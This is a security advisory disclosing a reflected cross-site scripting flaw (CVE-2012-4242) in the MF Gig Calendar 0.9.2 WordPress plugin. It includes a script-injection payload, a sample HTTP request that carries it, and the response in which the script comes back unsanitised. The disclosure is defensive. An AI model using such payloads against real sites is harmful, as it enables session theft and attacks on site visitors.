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MF Gig Calendar Wordpress Plugin - Cross-Site Scripting

Summary

MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The value of a generic parameter was not sufficiently sanitised before being written to the calendar page. An attacker could distribute a malicious URL that would trigger this vulnerability and potentially steal session cookies, redirect the user to a malicious URL or download malware onto their machine.

  • CVE number: CVE-2012-4242
  • Impact: Medium
  • Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
  • Vendor notified: 20/07/2012, 07/08/2012
  • Vendor response: No reply was received from the author
  • Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security

About ReactionIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

Affected Products

MF Gig Calendar 0.9.2. Other versions may be affected.

Details

A generic parameter on the calendar page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL as an additional parameter (following an '&'). This code is then passed into an anchor href parameter without sanitisation, and executed by the browser. Injecting the following Javascript code into a generic parameter on the calendar page will trigger the vulnerability, causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

---
Example 1 Request:
+-----------------

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-1=
hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1342447051;
PHPSESSID=ls61d5ov9vugrfhgu45urh4n55

---
Example 1 Response:
+------------------

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2012 09:00:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
X-Pingback: http://192.168.0.6/wp/xmlrpc.php
Content-Length: 6835
Content-Type: text/html; charset=UTF-8

--- SNIP ---
<div class="entry-content">
<h2>Upcoming Events</h2><div id="cal_nav"><strong>
Upcoming</strong> | Archive: <a href="?page_id=2&">
<script>alert('xsstest')
</script>=&ytd=2012">2012</a> </div><ul id="cal">
--- SNIP ---


Impact

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.

Solution

At the time of writing, no patch has been released by the vendor.

Distribution

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

  • bugtraq () securityfocus com
  • full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.

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